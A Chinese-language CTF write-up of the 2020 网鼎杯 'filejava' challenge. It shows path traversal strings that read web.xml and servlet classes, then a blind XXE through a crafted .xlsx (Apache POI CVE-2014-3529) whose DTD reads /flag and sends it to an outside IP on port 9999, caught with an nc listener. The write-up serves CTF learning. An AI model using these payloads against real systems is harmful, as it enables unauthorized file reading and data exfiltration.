欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[网鼎杯 2020 青龙组 wp ]filejava

程序员文章站 2022-05-19 10:49:05
...

知识点
web.xml文件泄露
blind xxe
用到的工具:
burpsuit或者hackbar都可以

一、审题

1.打开题目

[网鼎杯 2020 青龙组 wp ]filejava

2.收集信息

2.1随便上传一个文件,然后点击下载,抓包

[网鼎杯 2020 青龙组 wp ]filejava
看到有filename,猜测可能存在目录穿越以及任意文件下载

2.2尝试通过报错来获取网站的绝对路径,设置URL参数filename=../

[网鼎杯 2020 青龙组 wp ]filejava

二、探查敏感信息

1.探查敏感信息

1.1爆出了绝对路径

路径里面有WEB-INF,题目提示与java有关,那应该是web.xml文件泄露,尝试读取,修改filename参数如下(…/数量随意写几个):

filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

[网鼎杯 2020 青龙组 wp ]filejava

1.2下载源码

这里因为不知道配置文件的具体位置就用…/来代替具体多少慢慢试,可以看到再上图右边其中显示出了源码,以此下载下来,路径分别是

filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
看别人WP,好像这样也可以相对路径也可以
```html
filename=…/…/…/…/WEB-INF/web.xml
filename=…/…/…/…/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
filename=…/…/…/…/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
filename=…/…/…/…/WEB-INF/classes/cn/abc/servlet/ UploadServlet.class

1.3反编译源码

对这些class文件进行反编译,我用的jd-gui
[网鼎杯 2020 青龙组 wp ]filejava
[网鼎杯 2020 青龙组 wp ]filejava[网鼎杯 2020 青龙组 wp ]filejava

1.4发现漏洞

这里是一个excel和xxe漏洞的结合,CVE-2014-3529

接下来引用大佬的一段话:
这就比较明显了,考虑是Excel的xxe,和前段时间易霖博的web4那个word文档xxe类似,但是因为是blind,需要把结果打回我们的服务器,做法和hgame week4 代打出题人服务中心那个题目基本一样。(可能就是我太菜了把,继续刷题学习)
Apache POI XML外部实体漏洞CVE-2014-3529 (poi-ooxml-3.10-FINAL.jar及以下版本) https://www.jianshu.com/p/73cd11d83c30, 用 .xlsx然后构造xml文件读flag
Apache POI 是 Apache 软件基金会的开源项目,POI 提供 API 接口给 Java 程序对 Microsoft office 格式文档读写能力。
Microsoft Office从2007版本引入了新的开放的XML文件格式,新的XML文件格式基于压缩的ZIP文件格式规范
poi-ooxml 包里org.apache.poi.openxml4j.opc.internal.ContentTypeManager#parseContentTypesFile 中读取 [Content-Types].xml 时没有进行 XXE 防护。

三、上传shell、提权、获取flag

1.漏洞利用

接下就是用一个xlsx文件来完成dtd危险检测从而得到flag了,具体原理就是在靶机上传反弹shell,然后通过一个VPS(云虚拟服务器)上获得监听(监听时需要VPS服务器上http服务目录下得有一个dtd文件,对接反弹shell),最终得到flag。

1.1获取vps

1.1.1 VPS可以购买阿里云虚拟服务器,或者直接用buu上的服务,如下图。
因为这道题是在buuctf上再现的,所以要想监听到反弹shell,就要求VPS和靶机在一个(内)网段上(比赛中是不用的,任何一个VPS都可以,只有靶机能访问到你VPS就可以)。又因为buuctf一次只能开一个靶机,所以我在buuctf又申请了个小号。[网鼎杯 2020 青龙组 wp ]filejava
1.1.2登录后,点击BASIC—》Linux Labs
[网鼎杯 2020 青龙组 wp ]filejava
[网鼎杯 2020 青龙组 wp ]filejava
1.1.3 用ssh工具putty或xshell登录
[网鼎杯 2020 青龙组 wp ]filejava
第一次登录,点击open后,弹出提示,点击yes.
输入root 和密码123456,登录成功,这样我们就获取到了免费的VPS,用来做这道题目。记住这里的IP地址,下面要用!
[网鼎杯 2020 青龙组 wp ]filejava

2.创建反弹shell

2.1创建dtd文件

2.1.1在buu VPS上,新建file.dtd(用来链接靶机上的反弹shell)并添加如下代码

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://174.0.38.199:9999?p=%file;'>">

[网鼎杯 2020 青龙组 wp ]filejava
可以在本地机器上用记事本先写好[网鼎杯 2020 青龙组 wp ]filejava
然后复制代码后,在VPS上,先输入字母I 进入编辑模式,然后直接按右键就粘贴进去了。(不知道为什么粘贴的总是少一部分代码,为了不想手动输入,我就多复制了一句代码,右键粘贴后,把多余的代码删除就好。VI命令技巧:按i键是进入编辑模式;按ESC键是退出编辑模式;删除单个字符时按shift+del

[网鼎杯 2020 青龙组 wp ]filejava

2.2创建靶机上的反弹shell。

新建一个excel-123.xlsx (由上面下载源码可知必须是exccel-开头,结尾是.xlsx,,中间随便起),修改后缀名为.zip,然后右键压缩软件打开(一定要这样做,不能解压缩后再编辑,那样可能会出错。)[网鼎杯 2020 青龙组 wp ]filejava
[网鼎杯 2020 青龙组 wp ]filejava
在第二行添加如下代码,IP地址就是ssh登录linux labs登录后的地址,然后保存。压缩软件会提醒是否更新到压缩包,点击确定,是。

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://174.0.38.199/file.dtd">
%remote;%int;%send;
]>

[网鼎杯 2020 青龙组 wp ]filejava
[网鼎杯 2020 青龙组 wp ]filejava
然后,再把后缀名改成.xlsx。到此咱们的反弹shell就创建好了。

3.开启监听。

[网鼎杯 2020 青龙组 wp ]filejava
nc -llvp 9999也可以。

4.上传反弹shell

[网鼎杯 2020 青龙组 wp ]filejava

5.查看返回的shell

[网鼎杯 2020 青龙组 wp ]filejava
这里我忘记截图了,用别人的图顶一下。返回的shell可以得到flag。

orz:这道题看着别人的wp还做了一天,才弄完。
一是看了好几个人的wp,看的过程中,又查找不懂的东西,浪费了时间。
二是免费的VPS上浪费时间,别人的WP关于这部分就一句话,说的不详细,对于我这个菜鸟来说也是一步步自己摸索,试了半天;
[网鼎杯 2020 青龙组 wp ]filejava
三是 无论是修改xlsx 还是dtd文件时,都用到了一个VPS服务器的IP,我一直以为是node3.buuoj.cn:26658的ip,在命令中ping node3.buuoj.cn:26658 获得的IP,这是buu公网IP,实际应该用登录进ssh后,用ifconfig命令查看出来的ip地址。因为这步的错误,监听时怎么也没反应,差点放弃。